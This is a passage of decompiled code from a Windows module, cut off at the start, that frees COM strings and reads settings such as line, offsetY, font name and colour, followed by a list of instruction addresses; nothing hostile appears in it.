																																																E6E9041CF(_t1409);
																																																_t1937 = _t1937 + 4;
																																																 *(_t1859 + 4) = 0;
																																															}
																																															_push(0xc);
																																															E6E90416E(_t1859);
																																															_t1937 = _t1937 + 8;
																																														}
																																													}
																																													_v216 = 0;
																																												}
																																												__eflags = _t1614;
																																												if(_t1614 != 0) {
																																													_push( &_v68);
																																													_t1630 =  &_v220;
																																													_t1398 = E6E8F7ED0(_t1614, _t1630, _t1822, _t1837, _t1859, _t1996);
																																													_v16 = 0x11;
																																													_t1908 =  *_t1398;
																																													__eflags = _t1908;
																																													if(_t1908 == 0) {
																																														_t1399 = 0;
																																														__eflags = 0;
																																													} else {
																																														_t1399 =  *(_t1908 + 4);
																																														__eflags = _t1399;
																																														if(_t1399 == 0) {
																																															 *(_t1908 + 4) = E6E907520(_t1614,  *_t1908);
																																														}
																																													}
																																													E6E91492F(_t1399);
																																													_t1401 = _v180;
																																													_t1937 = _t1937 + 4;
																																													_t1859 = _v220;
																																													 *((long long*)(_t1401 + 0x20)) = _t1996;
																																													__eflags = _t1859;
																																													if(_t1859 != 0) {
																																														asm("lock xadd [esi+0x8], eax");
																																														__eflags = (_t1401 | 0xffffffff) == 1;
																																														if((_t1401 | 0xffffffff) == 1) {
																																															__eflags = _t1859;
																																															if(_t1859 != 0) {
																																																_t1404 =  *_t1859;
																																																__eflags = _t1404;
																																																if(_t1404 != 0) {
																																																	__imp__#6(_t1404);
																																																	 *_t1859 = 0;
																																																}
																																																_t1405 =  *(_t1859 + 4);
																																																__eflags = _t1405;
																																																if(_t1405 != 0) {
																																																	E6E9041CF(_t1405);
																																																	_t1937 = _t1937 + 4;
																																																	 *(_t1859 + 4) = 0;
																																																}
																																																_push(0xc);
																																																E6E90416E(_t1859);
																																																_t1937 = _t1937 + 8;
																																															}
																																														}
																																														_v220 = 0;
																																													}
																																												}
																																											} else {
																																												_push( &_v68);
																																												_t1775 =  *(E6E8F7ED0(_t1613,  &_v212, _t1822, _t1837, _t1907, _t1996));
																																												__eflags = _t1775;
																																												if(_t1775 == 0) {
																																													_t1630 = 0;
																																													__eflags = 0;
																																												} else {
																																													_t1630 =  *_t1775;
																																												}
																																												_t1416 = E6E8F7B30(_t1630, L"%lX", _v180 + 0x1c);
																																												_t1859 = _v212;
																																												_t1937 = _t1937 + 0xc;
																																												__eflags = _t1859;
																																												if(_t1859 != 0) {
																																													asm("lock xadd [esi+0x8], eax");
																																													__eflags = (_t1416 | 0xffffffff) == 1;
																																													if((_t1416 | 0xffffffff) == 1) {
																																														__eflags = _t1859;
																																														if(_t1859 != 0) {
																																															_t1419 =  *_t1859;
																																															__eflags = _t1419;
																																															if(_t1419 != 0) {
																																																__imp__#6(_t1419);
																																																 *_t1859 = 0;
																																															}
																																															_t1420 =  *(_t1859 + 4);
																																															__eflags = _t1420;
																																															if(_t1420 != 0) {
																																																E6E9041CF(_t1420);
																																																_t1937 = _t1937 + 4;
																																																 *(_t1859 + 4) = 0;
																																															}
																																															_push(0xc);
																																															E6E90416E(_t1859);
																																															_t1937 = _t1937 + 8;
																																														}
																																													}
																																													_v212 = 0;
																																												}
																																											}
																																										} else {
																																											_push( &_v68);
																																											_t1429 =  *(E6E8F7ED0(_t1612,  &_v204, _t1822, _t1837, _t1906, _t1996));
																																											__eflags = _t1429;
																																											if(_t1429 == 0) {
																																												_t1430 = 0;
																																												__eflags = 0;
																																											} else {
																																												_t1430 =  *_t1429;
																																											}
																																											_t1431 = E6E91409E(_t1612, _t1837, _t1906, _t1430, L"true");
																																											_t1630 = _v180;
																																											_t1937 = _t1937 + 8;
																																											_t1859 = _v204;
																																											__eflags = _t1431;
																																											 *((char*)(_t1630 + 0x19)) = _t1431 & 0xffffff00 | _t1431 == 0x00000000;
																																											__eflags = _t1859;
																																											if(_t1859 != 0) {
																																												asm("lock xadd [esi+0x8], eax");
																																												__eflags = 0xfffffffffffffffe;
																																												if(0xfffffffffffffffe == 0) {
																																													__eflags = _t1859;
																																													if(_t1859 != 0) {
																																														_t1435 =  *_t1859;
																																														__eflags = _t1435;
																																														if(_t1435 != 0) {
																																															__imp__#6(_t1435);
																																															 *_t1859 = 0;
																																														}
																																														_t1436 =  *(_t1859 + 4);
																																														__eflags = _t1436;
																																														if(_t1436 != 0) {
																																															E6E9041CF(_t1436);
																																															_t1937 = _t1937 + 4;
																																															 *(_t1859 + 4) = 0;
																																														}
																																														_push(0xc);
																																														E6E90416E(_t1859);
																																														_t1937 = _t1937 + 8;
																																													}
																																												}
																																												_v204 = 0;
																																											}
																																										}
																																									} else {
																																										_push( &_v68);
																																										_t1445 =  *(E6E8F7ED0(_t1611,  &_v196, _t1822, _t1837, _t1905, _t1996));
																																										__eflags = _t1445;
																																										if(_t1445 == 0) {
																																											_t1446 = 0;
																																											__eflags = 0;
																																										} else {
																																											_t1446 =  *_t1445;
																																										}
																																										_t1447 = E6E91409E(_t1611, _t1837, _t1905, _t1446, L"true");
																																										_t1630 = _v180;
																																										_t1937 = _t1937 + 8;
																																										_t1859 = _v196;
																																										__eflags = _t1447;
																																										 *((char*)(_t1630 + 0x18)) = _t1447 & 0xffffff00 | _t1447 == 0x00000000;
																																										__eflags = _t1859;
																																										if(_t1859 != 0) {
																																											asm("lock xadd [esi+0x8], eax");
																																											__eflags = 0xfffffffffffffffe;
																																											if(0xfffffffffffffffe == 0) {
																																												__eflags = _t1859;
																																												if(_t1859 != 0) {
																																													_t1451 =  *_t1859;
																																													__eflags = _t1451;
																																													if(_t1451 != 0) {
																																														__imp__#6(_t1451);
																																														 *_t1859 = 0;
																																													}
																																													_t1452 =  *(_t1859 + 4);
																																													__eflags = _t1452;
																																													if(_t1452 != 0) {
																																														E6E9041CF(_t1452);
																																														_t1937 = _t1937 + 4;
																																														 *(_t1859 + 4) = 0;
																																													}
																																													_push(0xc);
																																													E6E90416E(_t1859);
																																													_t1937 = _t1937 + 8;
																																												}
																																											}
																																											_v196 = 0;
																																										}
																																									}
																																								} else {
																																									_push( &_v68);
																																									_t1460 = E6E8F7ED0(_t1610,  &_v188, _t1822, _t1837, _t1904, _t1996);
																																									_v16 = 0x10;
																																									_t1835 =  *_t1460;
																																									__eflags = _t1835;
																																									if(_t1835 == 0) {
																																										_t1822 = 0;
																																										__eflags = 0;
																																									} else {
																																										_t1822 =  *_t1835;
																																									}
																																									_t1785 = _t1822;
																																									_t308 = _t1785 + 2; // 0x2
																																									_t1909 = _t308;
																																									do {
																																										_t1461 =  *_t1785;
																																										_t1785 = _t1785 + 2;
																																										__eflags = _t1461;
																																									} while (_t1461 != 0);
																																									_push(_t1785 - _t1909 >> 1);
																																									_t1630 = _v180;
																																									_t1462 = E6E8FB860(_t1610, _t1630, _t1837, _t1909, _t1996, _t1822);
																																									_t1859 = _v188;
																																									__eflags = _t1859;
																																									if(_t1859 != 0) {
																																										asm("lock xadd [esi+0x8], eax");
																																										__eflags = (_t1462 | 0xffffffff) == 1;
																																										if((_t1462 | 0xffffffff) == 1) {
																																											__eflags = _t1859;
																																											if(_t1859 != 0) {
																																												_t1465 =  *_t1859;
																																												__eflags = _t1465;
																																												if(_t1465 != 0) {
																																													__imp__#6(_t1465);
																																													 *_t1859 = 0;
																																												}
																																												_t1466 =  *(_t1859 + 4);
																																												__eflags = _t1466;
																																												if(_t1466 != 0) {
																																													E6E9041CF(_t1466);
																																													_t1937 = _t1937 + 4;
																																													 *(_t1859 + 4) = 0;
																																												}
																																												_push(0xc);
																																												E6E90416E(_t1859);
																																												_t1937 = _t1937 + 8;
																																											}
																																										}
																																										_v188 = 0;
																																									}
																																								}
																																								_t1389 =  &_v68;
																																								__imp__#9(_t1389);
																																								asm("lock xadd [edi+0x8], eax");
																																								__eflags = (_t1389 | 0xffffffff) == 1;
																																								if((_t1389 | 0xffffffff) == 1) {
																																									_t1393 =  *_t1837;
																																									__eflags = _t1393;
																																									if(_t1393 != 0) {
																																										__imp__#6(_t1393);
																																										 *_t1837 = 0;
																																									}
																																									_t1394 = _t1837[2];
																																									__eflags = _t1394;
																																									if(_t1394 != 0) {
																																										E6E9041CF(_t1394);
																																										_t1937 = _t1937 + 4;
																																										_t1837[2] = 0;
																																									}
																																									_push(0xc);
																																									E6E90416E(_t1837);
																																									_t1937 = _t1937 + 8;
																																								}
																																								_v16 = 4;
																																								_t1837 = __imp__#6;
																																								 *_t1837(_v40);
																																								_t1591 = _v224 + 1;
																																								_v224 = _t1591;
																																								__eflags = _t1591 - _v52;
																																								if(_t1591 >= _v52) {
																																									goto L297;
																																								} else {
																																									_t1324 = _v44;
																																									continue;
																																								}
																																							}
																																						}
																																					} else {
																																						__eflags = _t1859;
																																						if(__eflags != 0) {
																																							L344:
																																							_t1375 = E6E907500(0x8007000e);
																																							L345:
																																							E6E907500(_t1375);
																																							goto L346;
																																						} else {
																																							goto L172;
																																						}
																																					}
																																				}
																																			}
																																		}
																																	}
																																}
																															}
																															goto L737;
																														}
																														goto L346;
																													}
																												}
																											}
																										}
																									}
																								} else {
																									_t973 = _t1822;
																									goto L150;
																								}
																							}
																						}
																					} else {
																						_t966 = _t1821;
																						goto L143;
																					}
																				}
																			}
																		} else {
																			_t1483 = MultiByteToWideChar(3, 0, "line", 0xffffffff, _t1837, _t1854);
																			__eflags = _t1483 - _t1854;
																			if(_t1483 != _t1854) {
																				L137:
																				__imp__#6(_t1837);
																				goto L138;
																			} else {
																				__imp__#314(_v36, _t1837, 0x400, 0);
																				_t1837 = __imp__#6;
																				_t1854 = _t1483;
																				 *_t1837(_t1837);
																				__eflags = _t1854 - 1;
																				if(_t1854 != 1) {
																					L117:
																					_v32 = 0;
																					_v12 = 0xa;
																					_t1485 = _v28;
																					__eflags = _t1485;
																					if(_t1485 == 0) {
																						goto L134;
																					} else {
																						_t1820 =  &_v32;
																						_v12 = 0xa;
																						_v32 = 0;
																						_t1486 =  *((intOrPtr*)( *_t1485 + 0x40))(_t1485,  &_v32);
																						__eflags = _t1486;
																						if(_t1486 < 0) {
																							_v12 = 0xc;
																							_t1487 = _v32;
																							__eflags = _t1487;
																							if(_t1487 != 0) {
																								 *((intOrPtr*)( *_t1487 + 8))(_t1487);
																							}
																							goto L133;
																						} else {
																							_t1625 = _v28;
																							_t1489 = _v32;
																							__eflags = _t1625 - _t1489;
																							if(_t1625 != _t1489) {
																								_t1854 = _t1489;
																								_v12 = 0xe;
																								__eflags = _t1854;
																								if(_t1854 != 0) {
																									 *((intOrPtr*)( *_t1489 + 4))(_t1489);
																									_t1625 = _v28;
																									_t1489 = _v32;
																								}
																								_v28 = _t1854;
																								_v12 = 0xf;
																								__eflags = _t1625;
																								if(_t1625 != 0) {
																									 *((intOrPtr*)( *_t1625 + 8))(_t1625);
																									_t1489 = _v32;
																								}
																							}
																							_v12 = 0x10;
																							__eflags = _t1489;
																							if(_t1489 != 0) {
																								_t1625 =  *_t1489;
																								 *((intOrPtr*)(_t1625 + 8))(_t1489);
																							}
																							 *_t1837(_v36);
																							_t1476 = _v28;
																							__eflags = _t1476;
																							if(_t1476 != 0) {
																								continue;
																							} else {
																								goto L127;
																							}
																						}
																					}
																				} else {
																					_push(5);
																					_v104 = 0;
																					_v88 = 0;
																					_v84 = 7;
																					_v104 = 0;
																					_t1496 = E6E8FB860(_t1591,  &_v104, _t1837, _t1854, _t1996, L"Arial");
																					asm("movsd xmm0, [0x6e936528]");
																					_v80 = _t1854;
																					_v76 = 0xffffff;
																					asm("movsd [ebp-0x40], xmm0");
																					_v64 = 0;
																					_v60 = 0;
																					_v56 = 0;
																					_t1820 =  &_v104;
																					_v12 = 4;
																					L153();
																					__eflags = _t1496;
																					if(_t1496 == 0) {
																						L113:
																						_t1625 =  &_v64;
																						_v12 = 2;
																						E6E8FB7E0(_t1591, _t1625, _t1820, _t1837, _t1854, _t1996);
																						_t1820 = _v84;
																						__eflags = _t1820 - 8;
																						if(_t1820 < 8) {
																							goto L117;
																						} else {
																							_t1625 = _v104;
																							_t1820 = 2 + _t1820 * 2;
																							_t1498 = _t1625;
																							__eflags = _t1820 - 0x1000;
																							if(_t1820 < 0x1000) {
																								L116:
																								_push(_t1820);
																								E6E90416E(_t1625);
																								_t1934 = _t1934 + 8;
																								goto L117;
																							} else {
																								_t1625 =  *(_t1625 - 4);
																								_t1820 = _t1820 + 0x23;
																								__eflags = _t1498 - _t1625 + 0xfffffffc - 0x1f;
																								if(__eflags > 0) {
																									goto L136;
																								} else {
																									goto L116;
																								}
																							}
																						}
																					} else {
																						_t1854 =  *(_t1591 + 4);
																						_push( &_v104);
																						__eflags = _t1854 -  *(_t1591 + 8);
																						if(_t1854 ==  *(_t1591 + 8)) {
																							E6E8FC030(_t1591, _t1591, _t1837, _t1854, _t1996, _t1854);
																							goto L113;
																						} else {
																							_t1625 = _t1854;
																							_v120 = _t1854;
																							E6E8FC830(_t1625, _t1996);
																							 *((char*)(_t1854 + 0x18)) = _v80;
																							 *((char*)(_t1854 + 0x19)) = _v79;
																							 *(_t1854 + 0x1c) = _v76;
																							asm("movsd xmm0, [ebp-0x40]");
																							asm("movsd [esi+0x20], xmm0");
																							_v12 = 5;
																							_t1591 = _t1854 + 0x28;
																							 *_t1591 = 0;
																							 *(_t1591 + 4) = 0;
																							 *(_t1591 + 8) = 0;
																							_t1508 = _v60;
																							_t1837 = _v64;
																							_v112 = _t1591;
																							_v108 = _t1508;
																							__eflags = _t1837 - _t1508;
																							if(_t1837 == _t1508) {
																								L111:
																								_t1591 = _v116;
																								_t1837 = __imp__#6;
																								 *(_t1591 + 4) =  *(_t1591 + 4) + 0x38;
																								goto L113;
																							} else {
																								_t1511 = (_t1508 - _t1837 >> 3) * 0xba2e8ba3;
																								__eflags = _t1511 - 0x2e8ba2e;
																								if(_t1511 > 0x2e8ba2e) {
																									L135:
																									E6E8F19A0();
																									goto L136;
																								} else {
																									_t1854 = _t1511 * 0x58;
																									__eflags = _t1854 - 0x1000;
																									if(_t1854 < 0x1000) {
																										__eflags = _t1854;
																										if(__eflags == 0) {
																											_t1512 = 0;
																											__eflags = 0;
																										} else {
																											_t1512 = E6E90419F( &_v104, __eflags, _t1854);
																											_t1934 = _t1934 + 4;
																										}
																										L108:
																										 *_t1591 = _t1512;
																										 *(_t1591 + 4) = _t1512;
																										 *(_t1591 + 8) = _t1512 + _t1854;
																										_v124 = _t1591;
																										_t1911 =  *_t1591;
																										asm("xorps xmm0, xmm0");
																										asm("movq [ebp-0x28], xmm0");
																										_v40 = 0;
																										_v48 = _t1911;
																										_v44 = _t1911;
																										_v40 = _t1591;
																										_v12 = 7;
																										_t1848 =  &(_t1837[0x18]);
																										__eflags = _t1848;
																										_t1618 = _v108;
																										goto L109;
																										L109:
																										_t184 = _t1848 - 0x30; // -96
																										_v108 = _t1911;
																										E6E8FC830(_t1911, _t1996, _t184);
																										_t186 = _t1848 - 0x18; // -72
																										_v12 = 8;
																										E6E8FC830(_t1911 + 0x18, _t1996, _t186);
																										_v12 = 9;
																										E6E8FC830(_t1911 + 0x30, _t1996, _t1848);
																										 *((intOrPtr*)(_t1911 + 0x48)) =  *((intOrPtr*)(_t1848 + 0x18));
																										 *((intOrPtr*)(_t1911 + 0x4c)) =  *((intOrPtr*)(_t1848 + 0x1c));
																										asm("movsd xmm0, [edi+0x20]");
																										_t1848 = _t1848 + 0x58;
																										asm("movsd [esi+0x50], xmm0");
																										_t1911 = _t1911 + 0x58;
																										_v12 = 7;
																										_v44 = _t1911;
																										_t197 = _t1848 - 0x30; // -184
																										__eflags = _t197 - _t1618;
																										if(_t197 != _t1618) {
																											goto L109;
																										} else {
																											_v48 = _t1911;
																											 *(_v112 + 4) = _t1911;
																										}
																										goto L111;
																									} else {
																										_t1522 = _t1854 + 0x23;
																										__eflags = _t1854 + 0x23 - _t1854;
																										if(__eflags <= 0) {
																											goto L135;
																										} else {
																											_t1625 = E6E90419F( &_v104, __eflags, _t1522);
																											_t1934 = _t1934 + 4;
																											__eflags = _t1625;
																											if(__eflags == 0) {
																												L136:
																												E6E90D5F4(_t1591, _t1625, _t1820, __eflags);
																												goto L137;
																											} else {
																												_t173 = _t1625 + 0x23; // 0x23
																												_t1512 = _t173 & 0xffffffe0;
																												 *(_t1512 - 4) = _t1625;
																												goto L108;
																											}
																										}
																									}
																								}
																							}
																						}
																					}
																				}
																			}
																		}
																	}
																	goto L737;
																}
																goto L134;
															}
														}
													} else {
														_t1542 = MultiByteToWideChar(3, 0, "lines", 0xffffffff, _t1837, _t1854);
														__eflags = _t1542 - _t1854;
														if(_t1542 != _t1854) {
															L87:
															__imp__#6(_t1837);
															goto L88;
														} else {
															__imp__#314(_v32, _t1837, 0x400, 0);
															_t1837 = __imp__#6;
															_t1854 = _t1542;
															 *_t1837(_t1837);
															__eflags = _t1854 - 1;
															if(_t1854 == 1) {
																_t1624 =  &_v28;
																_t1820 = _v96 + 4;
																L89();
															}
															_v24 = 0;
															_v8 = 0x17;
															_t1544 = _v28;
															__eflags = _t1544;
															if(_t1544 == 0) {
																goto L86;
															} else {
																_t1820 =  &_v24;
																_v8 = 0x17;
																_v24 = 0;
																_t1545 =  *((intOrPtr*)( *_t1544 + 0x40))(_t1544, _t1820);
																__eflags = _t1545;
																if(_t1545 < 0) {
																	_v8 = 0x19;
																	_t1546 = _v24;
																	__eflags = _t1546;
																	if(_t1546 != 0) {
																		 *((intOrPtr*)( *_t1546 + 8))(_t1546);
																	}
																	goto L79;
																} else {
																	_t1624 = _v28;
																	_t1548 = _v24;
																	__eflags = _t1624 - _t1548;
																	if(_t1624 != _t1548) {
																		_t1854 = _t1548;
																		_v8 = 0x1d;
																		__eflags = _t1854;
																		if(_t1854 != 0) {
																			 *((intOrPtr*)( *_t1548 + 4))(_t1548);
																			_t1624 = _v28;
																			_t1548 = _v24;
																		}
																		_v28 = _t1854;
																		_v8 = 0x1e;
																		__eflags = _t1624;
																		if(_t1624 != 0) {
																			 *((intOrPtr*)( *_t1624 + 8))(_t1624);
																			_t1548 = _v24;
																		}
																	}
																	_v8 = 0x1f;
																	__eflags = _t1548;
																	if(_t1548 != 0) {
																		_t1624 =  *_t1548;
																		 *((intOrPtr*)(_t1624 + 8))(_t1548);
																	}
																	 *_t1837(_v32);
																	_t1535 = _v28;
																	__eflags = _t1535;
																	if(_t1535 != 0) {
																		continue;
																	} else {
																		goto L72;
																	}
																}
															}
														}
													}
												}
												goto L737;
											}
											goto L86;
										}
									}
								} else {
									while(1) {
										_t1854 = _v40;
										if(_t1854 == 0) {
											goto L86;
										} else {
											_t1624 =  *_t1854;
											_t1837 =  *(_t1624 + 0x28);
											_v8 = 5;
											if(_t1532 != 0) {
												_t1624 =  *_t1532;
												 *((intOrPtr*)(_t1624 + 8))(_t1532);
											}
										}
										_v8 = 4;
										_push( &_v36);
										_push(_t1590);
										_push(_t1854);
										_v36 = 0;
										if( *_t1837() < 0) {
											L52:
											_t1620 = 0;
											L75:
											_v8 = 0x21;
											_t1536 = _v36;
											__eflags = _t1536;
											if(_t1536 != 0) {
												 *((intOrPtr*)( *_t1536 + 8))(_t1536);
											}
											L81:
											_v8 = 0x22;
											_t1805 = _v40;
											__eflags = _t1805;
											if(_t1805 != 0) {
												_t1820 =  *_t1805;
												 *((intOrPtr*)( *_t1805 + 8))(_t1805);
											}
											 *[fs:0x0] = _v16;
											_pop(_t1849);
											_pop(_t1912);
											_pop(_t1621);
											__eflags = _v20 ^ _t1914;
											return E6E904160(_t1620, _t1621, _v20 ^ _t1914, _t1820, _t1849, _t1912);
										} else {
											_v24 = 0;
											_v8 = 8;
											_t1556 = _v36;
											if(_t1556 == 0) {
												goto L86;
											} else {
												_t1624 =  *_t1556;
												_t1820 =  &_v24;
												_push(_t1820);
												_push(_t1556);
												if( *((intOrPtr*)(_t1624 + 0x1c))() < 0) {
													L51:
													__imp__#6(_v24);
													goto L52;
												} else {
													_t1558 = _v36;
													if(_t1558 == 0) {
														goto L86;
													} else {
														_t1624 =  *_t1558;
														_t1820 =  &_v84;
														_t1559 =  *((intOrPtr*)(_t1624 + 0x20))(_t1558, _t1820);
														_t1973 = _t1559;
														if(_t1559 < 0) {
															goto L51;
														} else {
															_t1837 = _v24;
															_t1560 = E6E90419F(_t1820, _t1973, 0xc);
															_t1854 = _t1560;
															_t1933 = _t1933 + 4;
															_v108 = _t1854;
															_v8 = 0xd;
															if(_t1854 == 0) {
																_t1854 = 0;
																__eflags = 0;
																L18:
																_v8 = 8;
																_v48 = _t1854;
																if(_t1854 == 0) {
																	goto L84;
																} else {
																	_v8 = 0xe;
																	__imp__#8( &_v68);
																	_t1561 =  &_v68;
																	__imp__#10(_t1561,  &_v84);
																	_t1978 = _t1561;
																	if(_t1561 < 0) {
																		goto L85;
																	} else {
																		_v8 = 0xf;
																		_t1565 = E6E8F7C80(_t1590,  &_v32, _t1820, _t1978, "offsetY");
																		_t1624 =  &_v48;
																		_t1566 = E6E8F7D80(_t1624, _t1565);
																		_t1850 = _v32;
																		_t1622 = _t1566;
																		if(_t1850 != 0) {
																			asm("lock xadd [edi+0x8], ecx");
																			_t1624 = (_t1624 | 0xffffffff) - 1;
																			if(_t1624 == 0 && _t1850 != 0) {
																				_t1585 =  *_t1850;
																				if(_t1585 != 0) {
																					__imp__#6(_t1585);
																					 *_t1850 = 0;
																				}
																				_t49 =  &(_t1850[1]); // 0x8d04438b
																				_t1586 =  *_t49;
																				if( *_t49 != 0) {
																					E6E9041CF(_t1586);
																					_t1933 = _t1933 + 4;
																					_t1850[1] = 0;
																				}
																				_push(0xc);
																				E6E90416E(_t1850);
																				_t1933 = _t1933 + 8;
																			}
																			_v32 = 0;
																		}
																		if(_t1622 != 0) {
																			_push( &_v68);
																			_t1818 =  &_v88;
																			_t1576 = E6E8F7ED0(_t1622,  &_v88, _t1820, _t1850, _t1854, _t1996);
																			_v8 = 0x10;
																			_t1851 =  *_t1576;
																			if(_t1851 == 0) {
																				_t1577 = 0;
																				__eflags = 0;
																			} else {
																				_t55 = _t1851 + 4; // 0x8d04438b
																				_t1577 =  *_t55;
																				if( *_t55 == 0) {
																					 *((intOrPtr*)(_t1851 + 4)) = E6E907520(_t1622,  *_t1851);
																				}
																			}
																			_t1578 = E6E914079(_t1818, _t1577);
																			_t1624 = _v96;
																			_t1933 = _t1933 + 4;
																			_t1852 = _v88;
																			 *_t1624 = _t1578;
																			if(_t1852 != 0) {
																				asm("lock xadd [edi+0x8], eax");
																				if((_t1578 | 0xffffffff) == 1 && _t1852 != 0) {
																					_t1581 =  *_t1852;
																					if(_t1581 != 0) {
																						__imp__#6(_t1581);
																						 *_t1852 = 0;
																					}
																					_t1582 = _t1852[1];
																					if(_t1852[1] != 0) {
																						E6E9041CF(_t1582);
																						_t1933 = _t1933 + 4;
																						_t1852[1] = 0;
																					}
																					_push(0xc);
																					E6E90416E(_t1852);
																					_t1933 = _t1933 + 8;
																				}
																				_v88 = 0;
																			}
																		}
																		_t1567 =  &_v68;
																		__imp__#9(_t1567);
																		asm("lock xadd [esi+0x8], eax");
																		if((_t1567 | 0xffffffff) == 1) {
																			_t1571 =  *_t1854;
																			if(_t1571 != 0) {
																				__imp__#6(_t1571);
																				 *_t1854 = 0;
																			}
																			_t1572 =  *(_t1854 + 4);
																			if( *(_t1854 + 4) != 0) {
																				E6E9041CF(_t1572);
																				_t1933 = _t1933 + 4;
																				 *(_t1854 + 4) = 0;
																			}
																			_push(0xc);
																			E6E90416E(_t1854);
																			_t1933 = _t1933 + 8;
																		}
																		_v8 = 4;
																		_t1837 = __imp__#6;
																		 *_t1837(_v24);
																		_t1590 = _v92 + 1;
																		_v92 = _t1590;
																		if(_t1590 >= _v44) {
																			goto L53;
																		} else {
																			_t1532 = _v36;
																			continue;
																		}
																	}
																}
															} else {
																asm("xorps xmm0, xmm0");
																asm("movq [esi], xmm0");
																 *(_t1854 + 8) = 0;
																 *(_t1854 + 4) = 0;
																 *(_t1854 + 8) = 1;
																__imp__#2(_t1837);
																 *_t1854 = _t1560;
																if(_t1560 != 0 || _t1837 == 0) {
																	goto L18;
																} else {
																	L84:
																	_t1561 = E6E907500(0x8007000e);
																	L85:
																	E6E907500(_t1561);
																	goto L86;
																}
															}
														}
													}
												}
											}
										}
										goto L737;
									}
									goto L86;
								}
							}
						}
					}
				}
				L737:
			}

0x6e8f8980
0x6e8f8980
0x6e8f8980
0x6e8f8980
0x6e8f8980
0x6e8f8981
0x6e8f8983
0x6e8f8985
0x6e8f8990
0x6e8f8991
0x6e8f8994
0x6e8f8999
0x6e8f899b
0x6e8f899e
0x6e8f899f
0x6e8f89a0
0x6e8f89a1
0x6e8f89a5
0x6e8f89ab
0x6e8f89b0
0x6e8f89b3
0x6e8f89ba
0x6e8f89c1
0x6e8f89c5
0x6e8f8e79
0x6e8f8e7e
0x00000000
0x6e8f89cb
0x6e8f89cd
0x6e8f89d0
0x6e8f89d4
0x6e8f89d5
0x6e8f89d6
0x6e8f89e2
0x6e8f8e35
0x6e8f8e35
0x6e8f8e35
0x00000000
0x6e8f89e8
0x6e8f89e8
0x6e8f89ed
0x00000000
0x6e8f89f3
0x6e8f89f3
0x6e8f89f5
0x6e8f89f8
0x6e8f89f9
0x6e8f89ff
0x00000000
0x6e8f8a05
0x6e8f8a05
0x6e8f8a07
0x6e8f8a0a
0x6e8f8a0c
0x6e8f8a10
0x6e8f8a16
0x6e8f8a1c
0x6e8f8ca0
0x6e8f8ca0
0x6e8f8caa
0x6e8f8cae
0x6e8f8cb0
0x6e8f8cb2
0x00000000
0x6e8f8cb8
0x6e8f8cba
0x6e8f8cbd
0x6e8f8cc3
0x6e8f8cca
0x6e8f8ccd
0x6e8f8cd0
0x6e8f8cd2
0x6e8f8df5
0x6e8f8df5
0x00000000
0x6e8f8cd8
0x6e8f8cd8
0x6e8f8ce0
0x6e8f8ce0
0x6e8f8ce7
0x6e8f8ceb
0x6e8f8ced
0x00000000
0x00000000
0x6e8f8cf5
0x6e8f8cfa
0x6e8f8cfd
0x6e8f8cff
0x6e8f8e29
0x6e8f8e2c
0x6e8f8e2e
0x6e8f8e31
0x6e8f8df7
0x6e8f8df7
0x6e8f8dfb
0x6e8f8dfd
0x6e8f8e02
0x6e8f8e02
0x00000000
0x6e8f8d05
0x6e8f8d14
0x6e8f8d16
0x6e8f8d18
0x6e8f8d18
0x6e8f8d1e
0x6e8f8d24
0x6e8f8d26
0x6e8f8d28
0x6e8f8e8a
0x6e8f8e8f
0x6e8f8e94
0x6e8f8e95
0x6e8f8e96
0x6e8f8e97
0x6e8f8e98
0x6e8f8e99
0x6e8f8e9a
0x6e8f8e9b
0x6e8f8e9c
0x6e8f8e9d
0x6e8f8e9e
0x6e8f8e9f
0x6e8f8ea0
0x6e8f8ea1
0x6e8f8ea3
0x6e8f8ea5
0x6e8f8eb0
0x6e8f8eb1
0x6e8f8eb4
0x6e8f8eb9
0x6e8f8ebb
0x6e8f8ebe
0x6e8f8ebf
0x6e8f8ec0
0x6e8f8ec1
0x6e8f8ec5
0x6e8f8ecb
0x6e8f8ecd
0x6e8f8ed0
0x6e8f8ed7
0x6e8f8ede
0x6e8f8ee0
0x6e8f8ee2
0x6e8f928f
0x6e8f9294
0x00000000
0x6e8f8ee8
0x6e8f8eea
0x6e8f8eed
0x6e8f8ef3
0x6e8f8efa
0x6e8f8efd
0x6e8f8f00
0x6e8f8f02
0x6e8f9241
0x6e8f9241
0x00000000
0x6e8f8f08
0x6e8f8f08
0x6e8f8f10
0x6e8f8f10
0x6e8f8f17
0x6e8f8f1b
0x6e8f8f1d
0x00000000
0x00000000
0x6e8f8f25
0x6e8f8f2a
0x6e8f8f2d
0x6e8f8f2f
0x6e8f9283
0x6e8f9286
0x6e8f9288
0x6e8f928b
0x6e8f9243
0x6e8f9243
0x6e8f924a
0x6e8f924c
0x6e8f9251
0x6e8f9251
0x6e8f9259
0x6e8f9261
0x6e8f9262
0x6e8f9263
0x6e8f9267
0x6e8f9271
0x6e8f8f35
0x6e8f8f44
0x6e8f8f4a
0x6e8f8f4c
0x6e8f8f4c
0x6e8f8f52
0x6e8f8f58
0x6e8f8f5a
0x6e8f8f5c
0x6e8f92aa
0x6e8f92af
0x6e8f92b4
0x6e8f92b5
0x6e8f92b6
0x6e8f92b7
0x6e8f92b8
0x6e8f92b9
0x6e8f92ba
0x6e8f92bb
0x6e8f92bc
0x6e8f92bd
0x6e8f92be
0x6e8f92bf
0x6e8f92c0
0x6e8f92c1
0x6e8f92c3
0x6e8f92c6
0x6e8f92c9
0x6e8f92f8
0x6e8f92f8
0x6e8f92fa
0x6e8f9301
0x6e8f9308
0x6e8f930c
0x6e8f92cb
0x6e8f92cb
0x6e8f92cd
0x6e8f92d4
0x6e8f92da
0x6e8f92ee
0x6e8f92ee
0x6e8f92f0
0x00000000
0x6e8f92dc
0x6e8f92dc
0x6e8f92df
0x6e8f92e7
0x6e8f92ea
0x6e8f930d
0x6e8f9312
0x6e8f9313
0x6e8f9314
0x6e8f9315
0x6e8f9316
0x6e8f9317
0x6e8f9318
0x6e8f9319
0x6e8f931a
0x6e8f931b
0x6e8f931c
0x6e8f931d
0x6e8f931e
0x6e8f931f
0x6e8f9320
0x6e8f9321
0x6e8f9326
0x6e8f932b
0x6e8f932e
0x6e8f9331
0x6e8f9360
0x6e8f9360
0x6e8f9362
0x6e8f9369
0x6e8f9370
0x6e8f9374
0x6e8f9333
0x6e8f9333
0x6e8f9335
0x6e8f933c
0x6e8f9342
0x6e8f9356
0x6e8f9356
0x6e8f9358
0x00000000
0x6e8f9344
0x6e8f9344
0x6e8f9347
0x6e8f934f
0x6e8f9352
0x6e8f9375
0x6e8f937a
0x6e8f937b
0x6e8f937c
0x6e8f937d
0x6e8f937e
0x6e8f937f
0x6e8f9380
0x6e8f9381
0x6e8f9383
0x6e8f9385
